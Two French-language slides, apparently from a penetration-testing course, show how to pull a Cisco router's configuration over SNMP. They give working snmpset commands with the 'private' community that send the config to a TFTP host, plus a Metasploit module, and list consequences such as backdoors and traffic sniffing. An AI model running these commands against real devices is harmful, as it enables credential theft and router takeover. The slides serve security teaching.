Exploitation

Attaques sur le protocole SNMP

SNMP : Récupération de la configuration d'un Cisco

- Configuration téléchargeable depuis le routeur sur un serveur TFTP

  -> Upload d'une nouvelle commande (contenue dans "billy.bin")

- Solution 1

  - `Snmpset -v 1-c private 192.168.1.250 .1.3.6.1.4.1.9.2.1.53.`**`192.168.1.2`** `s "billy.bin"`

- Solution 2

- `metasploit : use auxiliary/scanner/snmp/cisco_config_tftp`

- Solution 3

  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1`
  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.111 i 1`
  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.111 i 4`
  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.111 a 192.168.1.2`
  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.111 s "billy.bin"`
  - `snmpset -v 1 -c private 192.168.1.250 .1.3.6.1.4.1.9.9.96.1.1.1.1.14.111 i 1`

- Autres outils

  - `snmpblow.pl, pancho`

Exploitation

Attaques sur le protocole SNMP

SNMP : Récupération de la configuration d'un Cisco

- Conséquences
  - Accès à des mots de passe ou à des empreintes
- Modification de la configuration des Routeur (mode enable : Configuration Terminal) :
  - Rajout d'un compte privilégié
  - Modification des tables de Routage, des politiques de filtrage …
  - Installation d'une Backdoor
  - Ecoute des flux entre deux réseaux
    - Gre-sniffing